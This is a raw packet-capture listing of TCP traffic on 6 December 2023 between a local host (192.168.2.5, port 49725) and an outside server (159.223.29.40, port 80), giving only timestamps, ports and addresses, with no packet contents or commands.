Dec 6, 2023 14:52:14.559016943 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559026003 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559052944 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559092045 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559127092 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559134007 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559165955 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559190035 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559240103 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559247017 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559278965 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559320927 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559360981 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559386969 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559426069 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559474945 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559520006 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559560061 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559603930 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559636116 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559669018 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559674025 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559706926 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559710979 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559750080 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559784889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.559825897 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.559978962 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560024977 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.560045958 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560082912 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.560105085 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560142040 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.560154915 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560190916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.560218096 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560257912 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.560280085 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560329914 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.560355902 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560393095 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.560431957 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560472012 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.560512066 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.560550928 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.729731083 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.729762077 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.729846954 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.730076075 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.730591059 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.730637074 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.730726004 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.730788946 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.730916023 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.730935097 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.730961084 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.730978012 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.731283903 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.731326103 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.731383085 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.731421947 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.731595039 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.731637001 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.731751919 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.731796026 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.731889009 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.731944084 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.731967926 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732023001 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732043982 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732081890 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732132912 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732175112 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732290983 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732331991 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732413054 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732455015 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732542038 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732582092 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732601881 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732641935 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732713938 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732768059 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732789993 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732829094 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732908010 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.732944965 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.732980967 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733027935 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733045101 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733081102 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733130932 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733174086 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733232021 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733272076 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733510017 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733552933 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733588934 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733627081 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733697891 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733747005 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733768940 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733815908 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733836889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733875036 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.733942986 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.733983040 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734000921 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734041929 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734042883 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734081030 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734085083 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734122038 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734172106 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734213114 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734249115 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734288931 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734335899 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734379053 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734395981 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734432936 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734487057 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734529972 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734545946 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734584093 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734591961 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734639883 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734661102 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734700918 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734750986 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734787941 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734808922 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734844923 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734860897 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734894991 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.734915972 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.734954119 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735043049 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735086918 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735088110 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735127926 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735148907 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735196114 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735218048 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735260010 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735280991 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735316992 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735367060 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735407114 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735451937 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735487938 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735537052 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735577106 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735599041 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735635042 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735660076 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735697985 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735738039 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735779047 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735817909 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735868931 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.735907078 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.735944986 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736001968 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736042976 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736079931 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736119986 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736140013 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736195087 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736206055 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736269951 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736341953 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736356974 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736408949 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736412048 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736448050 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736469030 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736512899 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736552954 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736594915 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736675978 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736717939 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736779928 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736823082 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736844063 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736885071 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.736922026 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.736963987 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737023115 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737087965 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737137079 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737176895 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737231970 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737261057 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737272024 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737299919 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737373114 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737390041 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737412930 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737432957 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737479925 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737519979 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737569094 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737606049 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737672091 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737715960 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737737894 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737777948 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737828016 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737865925 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737905025 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737942934 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.737951040 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.737987995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.738106966 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.738146067 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.738346100 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.738384962 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.738435030 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.738472939 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.738609076 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.738650084 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.738737106 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.738790989 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.738812923 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.738850117 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.738872051 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.738918066 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.738939047 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.738976002 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.739027977 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.739068031 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.739089966 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.739126921 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.739288092 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.739327908 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.739679098 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.739722013 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.739767075 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.739809036 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.740117073 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.740164995 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.740200996 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.740242004 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.740356922 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.740400076 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.740453959 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.740498066 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.740556955 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.740601063 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.740705967 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.740751028 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.740927935 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.740972996 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.741085052 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.741130114 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.741139889 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.741185904 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.741208076 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.741255045 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.741277933 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.741321087 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.741357088 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.741396904 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.741416931 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.741456032 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.741605997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.741650105 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.741786003 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.741831064 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742114067 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742157936 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742193937 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742235899 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742248058 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742288113 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742307901 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742347002 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742412090 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742465973 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742486954 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742528915 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742556095 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742588997 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742600918 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742630005 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742650032 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742690086 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742784977 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742813110 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742830038 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742852926 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742898941 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742937088 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.742944956 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.742989063 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743010044 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743052006 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743053913 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743093967 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743104935 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743125916 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743170977 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743212938 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743221998 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743263006 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743299007 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743340969 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743562937 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743609905 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743619919 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743660927 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743679047 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743720055 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743740082 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743781090 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.743839979 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.743882895 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744071007 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744112015 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744241953 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744290113 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744326115 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744369984 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744378090 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744412899 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744512081 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744560003 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744623899 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744677067 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744693041 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744730949 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744780064 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744797945 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744818926 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744838953 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744858027 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744893074 CET	49725	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:52:14.744942904 CET	80	49725	159.223.29.40	192.168.2.5
Dec 6, 2023 14:52:14.744960070 CET	80	49725	159.223.29.40	192.168.2.5
